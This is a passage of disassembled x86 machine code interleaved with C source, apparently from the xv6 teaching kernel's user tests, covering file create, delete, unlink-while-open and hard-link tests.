f64: e8 9f 2c 00 00 call 3c08 <exit>
if(pid)
wait();
else
exit();
for(i = 0; i < 2; i++){
f69: ff 45 f4 incl -0xc(%ebp)
f6c: 83 7d f4 01 cmpl $0x1,-0xc(%ebp)
f70: 0f 8e 17 ff ff ff jle e8d <twofiles+0x14d>
printf(1, "wrong length %d\n", total);
exit();
}
}
unlink("f1");
f76: c7 04 24 64 46 00 00 movl $0x4664,(%esp)
f7d: e8 d6 2c 00 00 call 3c58 <unlink>
unlink("f2");
f82: c7 04 24 67 46 00 00 movl $0x4667,(%esp)
f89: e8 ca 2c 00 00 call 3c58 <unlink>
printf(1, "twofiles ok\n");
f8e: c7 44 24 04 a7 46 00 movl $0x46a7,0x4(%esp)
f95: 00
f96: c7 04 24 01 00 00 00 movl $0x1,(%esp)
f9d: e8 f6 2d 00 00 call 3d98 <printf>
}
fa2: c9 leave
fa3: c3 ret
00000fa4 <createdelete>:
// two processes create and delete different files in same directory
void
createdelete(void)
{
fa4: 55 push %ebp
fa5: 89 e5 mov %esp,%ebp
fa7: 83 ec 48 sub $0x48,%esp
enum { N = 20 };
int pid, i, fd;
char name[32];
printf(1, "createdelete test\n");
faa: c7 44 24 04 b4 46 00 movl $0x46b4,0x4(%esp)
fb1: 00
fb2: c7 04 24 01 00 00 00 movl $0x1,(%esp)
fb9: e8 da 2d 00 00 call 3d98 <printf>
pid = fork();
fbe: e8 3d 2c 00 00 call 3c00 <fork>
fc3: 89 45 f0 mov %eax,-0x10(%ebp)
if(pid < 0){
fc6: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
fca: 79 19 jns fe5 <createdelete+0x41>
printf(1, "fork failed\n");
fcc: c7 44 24 04 4d 45 00 movl $0x454d,0x4(%esp)
fd3: 00
fd4: c7 04 24 01 00 00 00 movl $0x1,(%esp)
fdb: e8 b8 2d 00 00 call 3d98 <printf>
exit();
fe0: e8 23 2c 00 00 call 3c08 <exit>
}
name[0] = pid ? 'p' : 'c';
fe5: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
fe9: 74 04 je fef <createdelete+0x4b>
feb: b0 70 mov $0x70,%al
fed: eb 02 jmp ff1 <createdelete+0x4d>
fef: b0 63 mov $0x63,%al
ff1: 88 45 cc mov %al,-0x34(%ebp)
name[2] = '\0';
ff4: c6 45 ce 00 movb $0x0,-0x32(%ebp)
for(i = 0; i < N; i++){
ff8: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
fff: e9 96 00 00 00 jmp 109a <createdelete+0xf6>
name[1] = '0' + i;
1004: 8b 45 f4 mov -0xc(%ebp),%eax
1007: 83 c0 30 add $0x30,%eax
100a: 88 45 cd mov %al,-0x33(%ebp)
fd = open(name, O_CREATE | O_RDWR);
100d: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
1014: 00
1015: 8d 45 cc lea -0x34(%ebp),%eax
1018: 89 04 24 mov %eax,(%esp)
101b: e8 28 2c 00 00 call 3c48 <open>
1020: 89 45 ec mov %eax,-0x14(%ebp)
if(fd < 0){
1023: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1027: 79 19 jns 1042 <createdelete+0x9e>
printf(1, "create failed\n");
1029: c7 44 24 04 6a 46 00 movl $0x466a,0x4(%esp)
1030: 00
1031: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1038: e8 5b 2d 00 00 call 3d98 <printf>
exit();
103d: e8 c6 2b 00 00 call 3c08 <exit>
}
close(fd);
1042: 8b 45 ec mov -0x14(%ebp),%eax
1045: 89 04 24 mov %eax,(%esp)
1048: e8 e3 2b 00 00 call 3c30 <close>
if(i > 0 && (i % 2 ) == 0){
104d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1051: 7e 44 jle 1097 <createdelete+0xf3>
1053: 8b 45 f4 mov -0xc(%ebp),%eax
1056: 83 e0 01 and $0x1,%eax
1059: 85 c0 test %eax,%eax
105b: 75 3a jne 1097 <createdelete+0xf3>
name[1] = '0' + (i / 2);
105d: 8b 45 f4 mov -0xc(%ebp),%eax
1060: 89 c2 mov %eax,%edx
1062: c1 ea 1f shr $0x1f,%edx
1065: 01 d0 add %edx,%eax
1067: d1 f8 sar %eax
1069: 83 c0 30 add $0x30,%eax
106c: 88 45 cd mov %al,-0x33(%ebp)
if(unlink(name) < 0){
106f: 8d 45 cc lea -0x34(%ebp),%eax
1072: 89 04 24 mov %eax,(%esp)
1075: e8 de 2b 00 00 call 3c58 <unlink>
107a: 85 c0 test %eax,%eax
107c: 79 19 jns 1097 <createdelete+0xf3>
printf(1, "unlink failed\n");
107e: c7 44 24 04 c7 46 00 movl $0x46c7,0x4(%esp)
1085: 00
1086: c7 04 24 01 00 00 00 movl $0x1,(%esp)
108d: e8 06 2d 00 00 call 3d98 <printf>
exit();
1092: e8 71 2b 00 00 call 3c08 <exit>
exit();
}
name[0] = pid ? 'p' : 'c';
name[2] = '\0';
for(i = 0; i < N; i++){
1097: ff 45 f4 incl -0xc(%ebp)
109a: 83 7d f4 13 cmpl $0x13,-0xc(%ebp)
109e: 0f 8e 60 ff ff ff jle 1004 <createdelete+0x60>
exit();
}
}
}
if(pid==0)
10a4: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
10a8: 75 05 jne 10af <createdelete+0x10b>
exit();
10aa: e8 59 2b 00 00 call 3c08 <exit>
else
wait();
10af: e8 5c 2b 00 00 call 3c10 <wait>
for(i = 0; i < N; i++){
10b4: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
10bb: e9 33 01 00 00 jmp 11f3 <createdelete+0x24f>
name[0] = 'p';
10c0: c6 45 cc 70 movb $0x70,-0x34(%ebp)
name[1] = '0' + i;
10c4: 8b 45 f4 mov -0xc(%ebp),%eax
10c7: 83 c0 30 add $0x30,%eax
10ca: 88 45 cd mov %al,-0x33(%ebp)
fd = open(name, 0);
10cd: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
10d4: 00
10d5: 8d 45 cc lea -0x34(%ebp),%eax
10d8: 89 04 24 mov %eax,(%esp)
10db: e8 68 2b 00 00 call 3c48 <open>
10e0: 89 45 ec mov %eax,-0x14(%ebp)
if((i == 0 || i >= N/2) && fd < 0){
10e3: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
10e7: 74 06 je 10ef <createdelete+0x14b>
10e9: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
10ed: 7e 26 jle 1115 <createdelete+0x171>
10ef: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
10f3: 79 20 jns 1115 <createdelete+0x171>
printf(1, "oops createdelete %s didn't exist\n", name);
10f5: 8d 45 cc lea -0x34(%ebp),%eax
10f8: 89 44 24 08 mov %eax,0x8(%esp)
10fc: c7 44 24 04 d8 46 00 movl $0x46d8,0x4(%esp)
1103: 00
1104: c7 04 24 01 00 00 00 movl $0x1,(%esp)
110b: e8 88 2c 00 00 call 3d98 <printf>
exit();
1110: e8 f3 2a 00 00 call 3c08 <exit>
} else if((i >= 1 && i < N/2) && fd >= 0){
1115: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1119: 7e 2c jle 1147 <createdelete+0x1a3>
111b: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
111f: 7f 26 jg 1147 <createdelete+0x1a3>
1121: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
1125: 78 20 js 1147 <createdelete+0x1a3>
printf(1, "oops createdelete %s did exist\n", name);
1127: 8d 45 cc lea -0x34(%ebp),%eax
112a: 89 44 24 08 mov %eax,0x8(%esp)
112e: c7 44 24 04 fc 46 00 movl $0x46fc,0x4(%esp)
1135: 00
1136: c7 04 24 01 00 00 00 movl $0x1,(%esp)
113d: e8 56 2c 00 00 call 3d98 <printf>
exit();
1142: e8 c1 2a 00 00 call 3c08 <exit>
}
if(fd >= 0)
1147: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
114b: 78 0b js 1158 <createdelete+0x1b4>
close(fd);
114d: 8b 45 ec mov -0x14(%ebp),%eax
1150: 89 04 24 mov %eax,(%esp)
1153: e8 d8 2a 00 00 call 3c30 <close>
name[0] = 'c';
1158: c6 45 cc 63 movb $0x63,-0x34(%ebp)
name[1] = '0' + i;
115c: 8b 45 f4 mov -0xc(%ebp),%eax
115f: 83 c0 30 add $0x30,%eax
1162: 88 45 cd mov %al,-0x33(%ebp)
fd = open(name, 0);
1165: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
116c: 00
116d: 8d 45 cc lea -0x34(%ebp),%eax
1170: 89 04 24 mov %eax,(%esp)
1173: e8 d0 2a 00 00 call 3c48 <open>
1178: 89 45 ec mov %eax,-0x14(%ebp)
if((i == 0 || i >= N/2) && fd < 0){
117b: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
117f: 74 06 je 1187 <createdelete+0x1e3>
1181: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
1185: 7e 26 jle 11ad <createdelete+0x209>
1187: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
118b: 79 20 jns 11ad <createdelete+0x209>
printf(1, "oops createdelete %s didn't exist\n", name);
118d: 8d 45 cc lea -0x34(%ebp),%eax
1190: 89 44 24 08 mov %eax,0x8(%esp)
1194: c7 44 24 04 d8 46 00 movl $0x46d8,0x4(%esp)
119b: 00
119c: c7 04 24 01 00 00 00 movl $0x1,(%esp)
11a3: e8 f0 2b 00 00 call 3d98 <printf>
exit();
11a8: e8 5b 2a 00 00 call 3c08 <exit>
} else if((i >= 1 && i < N/2) && fd >= 0){
11ad: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
11b1: 7e 2c jle 11df <createdelete+0x23b>
11b3: 83 7d f4 09 cmpl $0x9,-0xc(%ebp)
11b7: 7f 26 jg 11df <createdelete+0x23b>
11b9: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
11bd: 78 20 js 11df <createdelete+0x23b>
printf(1, "oops createdelete %s did exist\n", name);
11bf: 8d 45 cc lea -0x34(%ebp),%eax
11c2: 89 44 24 08 mov %eax,0x8(%esp)
11c6: c7 44 24 04 fc 46 00 movl $0x46fc,0x4(%esp)
11cd: 00
11ce: c7 04 24 01 00 00 00 movl $0x1,(%esp)
11d5: e8 be 2b 00 00 call 3d98 <printf>
exit();
11da: e8 29 2a 00 00 call 3c08 <exit>
}
if(fd >= 0)
11df: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
11e3: 78 0b js 11f0 <createdelete+0x24c>
close(fd);
11e5: 8b 45 ec mov -0x14(%ebp),%eax
11e8: 89 04 24 mov %eax,(%esp)
11eb: e8 40 2a 00 00 call 3c30 <close>
if(pid==0)
exit();
else
wait();
for(i = 0; i < N; i++){
11f0: ff 45 f4 incl -0xc(%ebp)
11f3: 83 7d f4 13 cmpl $0x13,-0xc(%ebp)
11f7: 0f 8e c3 fe ff ff jle 10c0 <createdelete+0x11c>
}
if(fd >= 0)
close(fd);
}
for(i = 0; i < N; i++){
11fd: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1204: eb 2a jmp 1230 <createdelete+0x28c>
name[0] = 'p';
1206: c6 45 cc 70 movb $0x70,-0x34(%ebp)
name[1] = '0' + i;
120a: 8b 45 f4 mov -0xc(%ebp),%eax
120d: 83 c0 30 add $0x30,%eax
1210: 88 45 cd mov %al,-0x33(%ebp)
unlink(name);
1213: 8d 45 cc lea -0x34(%ebp),%eax
1216: 89 04 24 mov %eax,(%esp)
1219: e8 3a 2a 00 00 call 3c58 <unlink>
name[0] = 'c';
121e: c6 45 cc 63 movb $0x63,-0x34(%ebp)
unlink(name);
1222: 8d 45 cc lea -0x34(%ebp),%eax
1225: 89 04 24 mov %eax,(%esp)
1228: e8 2b 2a 00 00 call 3c58 <unlink>
}
if(fd >= 0)
close(fd);
}
for(i = 0; i < N; i++){
122d: ff 45 f4 incl -0xc(%ebp)
1230: 83 7d f4 13 cmpl $0x13,-0xc(%ebp)
1234: 7e d0 jle 1206 <createdelete+0x262>
unlink(name);
name[0] = 'c';
unlink(name);
}
printf(1, "createdelete ok\n");
1236: c7 44 24 04 1c 47 00 movl $0x471c,0x4(%esp)
123d: 00
123e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1245: e8 4e 2b 00 00 call 3d98 <printf>
}
124a: c9 leave
124b: c3 ret
0000124c <unlinkread>:
// can I unlink a file and still read it?
void
unlinkread(void)
{
124c: 55 push %ebp
124d: 89 e5 mov %esp,%ebp
124f: 83 ec 28 sub $0x28,%esp
int fd, fd1;
printf(1, "unlinkread test\n");
1252: c7 44 24 04 2d 47 00 movl $0x472d,0x4(%esp)
1259: 00
125a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1261: e8 32 2b 00 00 call 3d98 <printf>
fd = open("unlinkread", O_CREATE | O_RDWR);
1266: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
126d: 00
126e: c7 04 24 3e 47 00 00 movl $0x473e,(%esp)
1275: e8 ce 29 00 00 call 3c48 <open>
127a: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
127d: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1281: 79 19 jns 129c <unlinkread+0x50>
printf(1, "create unlinkread failed\n");
1283: c7 44 24 04 49 47 00 movl $0x4749,0x4(%esp)
128a: 00
128b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1292: e8 01 2b 00 00 call 3d98 <printf>
exit();
1297: e8 6c 29 00 00 call 3c08 <exit>
}
write(fd, "hello", 5);
129c: c7 44 24 08 05 00 00 movl $0x5,0x8(%esp)
12a3: 00
12a4: c7 44 24 04 63 47 00 movl $0x4763,0x4(%esp)
12ab: 00
12ac: 8b 45 f4 mov -0xc(%ebp),%eax
12af: 89 04 24 mov %eax,(%esp)
12b2: e8 71 29 00 00 call 3c28 <write>
close(fd);
12b7: 8b 45 f4 mov -0xc(%ebp),%eax
12ba: 89 04 24 mov %eax,(%esp)
12bd: e8 6e 29 00 00 call 3c30 <close>
fd = open("unlinkread", O_RDWR);
12c2: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
12c9: 00
12ca: c7 04 24 3e 47 00 00 movl $0x473e,(%esp)
12d1: e8 72 29 00 00 call 3c48 <open>
12d6: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
12d9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
12dd: 79 19 jns 12f8 <unlinkread+0xac>
printf(1, "open unlinkread failed\n");
12df: c7 44 24 04 69 47 00 movl $0x4769,0x4(%esp)
12e6: 00
12e7: c7 04 24 01 00 00 00 movl $0x1,(%esp)
12ee: e8 a5 2a 00 00 call 3d98 <printf>
exit();
12f3: e8 10 29 00 00 call 3c08 <exit>
}
if(unlink("unlinkread") != 0){
12f8: c7 04 24 3e 47 00 00 movl $0x473e,(%esp)
12ff: e8 54 29 00 00 call 3c58 <unlink>
1304: 85 c0 test %eax,%eax
1306: 74 19 je 1321 <unlinkread+0xd5>
printf(1, "unlink unlinkread failed\n");
1308: c7 44 24 04 81 47 00 movl $0x4781,0x4(%esp)
130f: 00
1310: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1317: e8 7c 2a 00 00 call 3d98 <printf>
exit();
131c: e8 e7 28 00 00 call 3c08 <exit>
}
fd1 = open("unlinkread", O_CREATE | O_RDWR);
1321: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
1328: 00
1329: c7 04 24 3e 47 00 00 movl $0x473e,(%esp)
1330: e8 13 29 00 00 call 3c48 <open>
1335: 89 45 f0 mov %eax,-0x10(%ebp)
write(fd1, "yyy", 3);
1338: c7 44 24 08 03 00 00 movl $0x3,0x8(%esp)
133f: 00
1340: c7 44 24 04 9b 47 00 movl $0x479b,0x4(%esp)
1347: 00
1348: 8b 45 f0 mov -0x10(%ebp),%eax
134b: 89 04 24 mov %eax,(%esp)
134e: e8 d5 28 00 00 call 3c28 <write>
close(fd1);
1353: 8b 45 f0 mov -0x10(%ebp),%eax
1356: 89 04 24 mov %eax,(%esp)
1359: e8 d2 28 00 00 call 3c30 <close>
if(read(fd, buf, sizeof(buf)) != 5){
135e: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
1365: 00
1366: c7 44 24 04 a0 86 00 movl $0x86a0,0x4(%esp)
136d: 00
136e: 8b 45 f4 mov -0xc(%ebp),%eax
1371: 89 04 24 mov %eax,(%esp)
1374: e8 a7 28 00 00 call 3c20 <read>
1379: 83 f8 05 cmp $0x5,%eax
137c: 74 19 je 1397 <unlinkread+0x14b>
printf(1, "unlinkread read failed");
137e: c7 44 24 04 9f 47 00 movl $0x479f,0x4(%esp)
1385: 00
1386: c7 04 24 01 00 00 00 movl $0x1,(%esp)
138d: e8 06 2a 00 00 call 3d98 <printf>
exit();
1392: e8 71 28 00 00 call 3c08 <exit>
}
if(buf[0] != 'h'){
1397: a0 a0 86 00 00 mov 0x86a0,%al
139c: 3c 68 cmp $0x68,%al
139e: 74 19 je 13b9 <unlinkread+0x16d>
printf(1, "unlinkread wrong data\n");
13a0: c7 44 24 04 b6 47 00 movl $0x47b6,0x4(%esp)
13a7: 00
13a8: c7 04 24 01 00 00 00 movl $0x1,(%esp)
13af: e8 e4 29 00 00 call 3d98 <printf>
exit();
13b4: e8 4f 28 00 00 call 3c08 <exit>
}
if(write(fd, buf, 10) != 10){
13b9: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
13c0: 00
13c1: c7 44 24 04 a0 86 00 movl $0x86a0,0x4(%esp)
13c8: 00
13c9: 8b 45 f4 mov -0xc(%ebp),%eax
13cc: 89 04 24 mov %eax,(%esp)
13cf: e8 54 28 00 00 call 3c28 <write>
13d4: 83 f8 0a cmp $0xa,%eax
13d7: 74 19 je 13f2 <unlinkread+0x1a6>
printf(1, "unlinkread write failed\n");
13d9: c7 44 24 04 cd 47 00 movl $0x47cd,0x4(%esp)
13e0: 00
13e1: c7 04 24 01 00 00 00 movl $0x1,(%esp)
13e8: e8 ab 29 00 00 call 3d98 <printf>
exit();
13ed: e8 16 28 00 00 call 3c08 <exit>
}
close(fd);
13f2: 8b 45 f4 mov -0xc(%ebp),%eax
13f5: 89 04 24 mov %eax,(%esp)
13f8: e8 33 28 00 00 call 3c30 <close>
unlink("unlinkread");
13fd: c7 04 24 3e 47 00 00 movl $0x473e,(%esp)
1404: e8 4f 28 00 00 call 3c58 <unlink>
printf(1, "unlinkread ok\n");
1409: c7 44 24 04 e6 47 00 movl $0x47e6,0x4(%esp)
1410: 00
1411: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1418: e8 7b 29 00 00 call 3d98 <printf>
}
141d: c9 leave
141e: c3 ret
0000141f <linktest>:
void
linktest(void)
{
141f: 55 push %ebp
1420: 89 e5 mov %esp,%ebp
1422: 83 ec 28 sub $0x28,%esp
int fd;
printf(1, "linktest\n");
1425: c7 44 24 04 f5 47 00 movl $0x47f5,0x4(%esp)
142c: 00
142d: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1434: e8 5f 29 00 00 call 3d98 <printf>
unlink("lf1");
1439: c7 04 24 ff 47 00 00 movl $0x47ff,(%esp)
1440: e8 13 28 00 00 call 3c58 <unlink>
unlink("lf2");
1445: c7 04 24 03 48 00 00 movl $0x4803,(%esp)
144c: e8 07 28 00 00 call 3c58 <unlink>
fd = open("lf1", O_CREATE|O_RDWR);
1451: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
1458: 00
1459: c7 04 24 ff 47 00 00 movl $0x47ff,(%esp)
1460: e8 e3 27 00 00 call 3c48 <open>
1465: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
1468: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
146c: 79 19 jns 1487 <linktest+0x68>
printf(1, "create lf1 failed\n");
146e: c7 44 24 04 07 48 00 movl $0x4807,0x4(%esp)
1475: 00
1476: c7 04 24 01 00 00 00 movl $0x1,(%esp)
147d: e8 16 29 00 00 call 3d98 <printf>
exit();
1482: e8 81 27 00 00 call 3c08 <exit>
}
if(write(fd, "hello", 5) != 5){
1487: c7 44 24 08 05 00 00 movl $0x5,0x8(%esp)
148e: 00
148f: c7 44 24 04 63 47 00 movl $0x4763,0x4(%esp)
1496: 00
1497: 8b 45 f4 mov -0xc(%ebp),%eax
149a: 89 04 24 mov %eax,(%esp)
149d: e8 86 27 00 00 call 3c28 <write>
14a2: 83 f8 05 cmp $0x5,%eax
14a5: 74 19 je 14c0 <linktest+0xa1>
printf(1, "write lf1 failed\n");
14a7: c7 44 24 04 1a 48 00 movl $0x481a,0x4(%esp)
14ae: 00
14af: c7 04 24 01 00 00 00 movl $0x1,(%esp)
14b6: e8 dd 28 00 00 call 3d98 <printf>
exit();
14bb: e8 48 27 00 00 call 3c08 <exit>
}
close(fd);
14c0: 8b 45 f4 mov -0xc(%ebp),%eax
14c3: 89 04 24 mov %eax,(%esp)
14c6: e8 65 27 00 00 call 3c30 <close>
if(link("lf1", "lf2") < 0){
14cb: c7 44 24 04 03 48 00 movl $0x4803,0x4(%esp)
14d2: 00
14d3: c7 04 24 ff 47 00 00 movl $0x47ff,(%esp)
14da: e8 89 27 00 00 call 3c68 <link>
14df: 85 c0 test %eax,%eax
14e1: 79 19 jns 14fc <linktest+0xdd>
printf(1, "link lf1 lf2 failed\n");
14e3: c7 44 24 04 2c 48 00 movl $0x482c,0x4(%esp)
14ea: 00
14eb: c7 04 24 01 00 00 00 movl $0x1,(%esp)
14f2: e8 a1 28 00 00 call 3d98 <printf>
exit();
14f7: e8 0c 27 00 00 call 3c08 <exit>
}
unlink("lf1");
14fc: c7 04 24 ff 47 00 00 movl $0x47ff,(%esp)
1503: e8 50 27 00 00 call 3c58 <unlink>
if(open("lf1", 0) >= 0){
1508: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
150f: 00
1510: c7 04 24 ff 47 00 00 movl $0x47ff,(%esp)
1517: e8 2c 27 00 00 call 3c48 <open>
151c: 85 c0 test %eax,%eax
151e: 78 19 js 1539 <linktest+0x11a>
printf(1, "unlinked lf1 but it is still there!\n");
1520: c7 44 24 04 44 48 00 movl $0x4844,0x4(%esp)
1527: 00
1528: c7 04 24 01 00 00 00 movl $0x1,(%esp)
152f: e8 64 28 00 00 call 3d98 <printf>
exit();
1534: e8 cf 26 00 00 call 3c08 <exit>
}
fd = open("lf2", 0);
1539: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1540: 00
1541: c7 04 24 03 48 00 00 movl $0x4803,(%esp)
1548: e8 fb 26 00 00 call 3c48 <open>
154d: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0){
1550: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1554: 79 19 jns 156f <linktest+0x150>
printf(1, "open lf2 failed\n");
1556: c7 44 24 04 69 48 00 movl $0x4869,0x4(%esp)
155d: 00
155e: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1565: e8 2e 28 00 00 call 3d98 <printf>
exit();
156a: e8 99 26 00 00 call 3c08 <exit>
}
if(read(fd, buf, sizeof(buf)) != 5){
156f: c7 44 24 08 00 20 00 movl $0x2000,0x8(%esp)
1576: 00
1577: c7 44 24 04 a0 86 00 movl $0x86a0,0x4(%esp)
157e: 00
157f: 8b 45 f4 mov -0xc(%ebp),%eax
1582: 89 04 24 mov %eax,(%esp)
1585: e8 96 26 00 00 call 3c20 <read>
158a: 83 f8 05 cmp $0x5,%eax
158d: 74 19 je 15a8 <linktest+0x189>
printf(1, "read lf2 failed\n");
158f: c7 44 24 04 7a 48 00 movl $0x487a,0x4(%esp)
1596: 00
1597: c7 04 24 01 00 00 00 movl $0x1,(%esp)
159e: e8 f5 27 00 00 call 3d98 <printf>
exit();
15a3: e8 60 26 00 00 call 3c08 <exit>
}
close(fd);
15a8: 8b 45 f4 mov -0xc(%ebp),%eax
15ab: 89 04 24 mov %eax,(%esp)
15ae: e8 7d 26 00 00 call 3c30 <close>
if(link("lf2", "lf2") >= 0){
15b3: c7 44 24 04 03 48 00 movl $0x4803,0x4(%esp)
15ba: 00
15bb: c7 04 24 03 48 00 00 movl $0x4803,(%esp)
15c2: e8 a1 26 00 00 call 3c68 <link>
15c7: 85 c0 test %eax,%eax
15c9: 78 19 js 15e4 <linktest+0x1c5>
printf(1, "link lf2 lf2 succeeded! oops\n");
15cb: c7 44 24 04 8b 48 00 movl $0x488b,0x4(%esp)
15d2: 00
15d3: c7 04 24 01 00 00 00 movl $0x1,(%esp)
15da: e8 b9 27 00 00 call 3d98 <printf>
exit();
15df: e8 24 26 00 00 call 3c08 <exit>
}
unlink("lf2");
15e4: c7 04 24 03 48 00 00 movl $0x4803,(%esp)
15eb: e8 68 26 00 00 call 3c58 <unlink>
if(link("lf2", "lf1") >= 0){
15f0: c7 44 24 04 ff 47 00 movl $0x47ff,0x4(%esp)
15f7: 00
15f8: c7 04 24 03 48 00 00 movl $0x4803,(%esp)
15ff: e8 64 26 00 00 call 3c68 <link>
1604: 85 c0 test %eax,%eax
1606: 78 19 js 1621 <linktest+0x202>
printf(1, "link non-existant succeeded! oops\n");
1608: c7 44 24 04 ac 48 00 movl $0x48ac,0x4(%esp)
160f: 00
1610: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1617: e8 7c 27 00 00 call 3d98 <printf>
exit();
161c: e8 e7 25 00 00 call 3c08 <exit>
}
if(link(".", "lf1") >= 0){
1621: c7 44 24 04 ff 47 00 movl $0x47ff,0x4(%esp)
1628: 00
1629: c7 04 24 cf 48 00 00 movl $0x48cf,(%esp)
1630: e8 33 26 00 00 call 3c68 <link>
1635: 85 c0 test %eax,%eax
1637: 78 19 js 1652 <linktest+0x233>
printf(1, "link . lf1 succeeded! oops\n");
1639: c7 44 24 04 d1 48 00 movl $0x48d1,0x4(%esp)
1640: 00
1641: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1648: e8 4b 27 00 00 call 3d98 <printf>
exit();
164d: e8 b6 25 00 00 call 3c08 <exit>
}
printf(1, "linktest ok\n");
1652: c7 44 24 04 ed 48 00 movl $0x48ed,0x4(%esp)
1659: 00
165a: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1661: e8 32 27 00 00 call 3d98 <printf>
}
1666: c9 leave
1667: c3 ret
00001668 <concreate>:
// test concurrent create/link/unlink of the same file
void
concreate(void)
{
1668: 55 push %ebp
1669: 89 e5 mov %esp,%ebp
166b: 83 ec 68 sub $0x68,%esp
struct {
ushort inum;
char name[14];
} de;
printf(1, "concreate test\n");
166e: c7 44 24 04 fa 48 00 movl $0x48fa,0x4(%esp)
1675: 00
1676: c7 04 24 01 00 00 00 movl $0x1,(%esp)
167d: e8 16 27 00 00 call 3d98 <printf>
file[0] = 'C';
1682: c6 45 e5 43 movb $0x43,-0x1b(%ebp)
file[2] = '\0';
1686: c6 45 e7 00 movb $0x0,-0x19(%ebp)
for(i = 0; i < 40; i++){
168a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
1691: e9 d0 00 00 00 jmp 1766 <concreate+0xfe>
file[1] = '0' + i;
1696: 8b 45 f4 mov -0xc(%ebp),%eax
1699: 83 c0 30 add $0x30,%eax
169c: 88 45 e6 mov %al,-0x1a(%ebp)
unlink(file);
169f: 8d 45 e5 lea -0x1b(%ebp),%eax
16a2: 89 04 24 mov %eax,(%esp)
16a5: e8 ae 25 00 00 call 3c58 <unlink>
pid = fork();
16aa: e8 51 25 00 00 call 3c00 <fork>
16af: 89 45 ec mov %eax,-0x14(%ebp)
if(pid && (i % 3) == 1){
16b2: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
16b6: 74 27 je 16df <concreate+0x77>
16b8: 8b 45 f4 mov -0xc(%ebp),%eax
16bb: b9 03 00 00 00 mov $0x3,%ecx
16c0: 99 cltd
16c1: f7 f9 idiv %ecx
16c3: 89 d0 mov %edx,%eax
16c5: 83 f8 01 cmp $0x1,%eax
16c8: 75 15 jne 16df <concreate+0x77>
link("C0", file);
16ca: 8d 45 e5 lea -0x1b(%ebp),%eax
16cd: 89 44 24 04 mov %eax,0x4(%esp)
16d1: c7 04 24 0a 49 00 00 movl $0x490a,(%esp)
16d8: e8 8b 25 00 00 call 3c68 <link>
16dd: eb 74 jmp 1753 <concreate+0xeb>
} else if(pid == 0 && (i % 5) == 1){
16df: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
16e3: 75 27 jne 170c <concreate+0xa4>
16e5: 8b 45 f4 mov -0xc(%ebp),%eax
16e8: b9 05 00 00 00 mov $0x5,%ecx
16ed: 99 cltd
16ee: f7 f9 idiv %ecx
16f0: 89 d0 mov %edx,%eax
16f2: 83 f8 01 cmp $0x1,%eax
16f5: 75 15 jne 170c <concreate+0xa4>
link("C0", file);
16f7: 8d 45 e5 lea -0x1b(%ebp),%eax
16fa: 89 44 24 04 mov %eax,0x4(%esp)
16fe: c7 04 24 0a 49 00 00 movl $0x490a,(%esp)
1705: e8 5e 25 00 00 call 3c68 <link>
170a: eb 47 jmp 1753 <concreate+0xeb>
} else {
fd = open(file, O_CREATE | O_RDWR);
170c: c7 44 24 04 02 02 00 movl $0x202,0x4(%esp)
1713: 00
1714: 8d 45 e5 lea -0x1b(%ebp),%eax
1717: 89 04 24 mov %eax,(%esp)
171a: e8 29 25 00 00 call 3c48 <open>
171f: 89 45 e8 mov %eax,-0x18(%ebp)
if(fd < 0){
1722: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
1726: 79 20 jns 1748 <concreate+0xe0>
printf(1, "concreate create %s failed\n", file);
1728: 8d 45 e5 lea -0x1b(%ebp),%eax
172b: 89 44 24 08 mov %eax,0x8(%esp)
172f: c7 44 24 04 0d 49 00 movl $0x490d,0x4(%esp)
1736: 00
1737: c7 04 24 01 00 00 00 movl $0x1,(%esp)
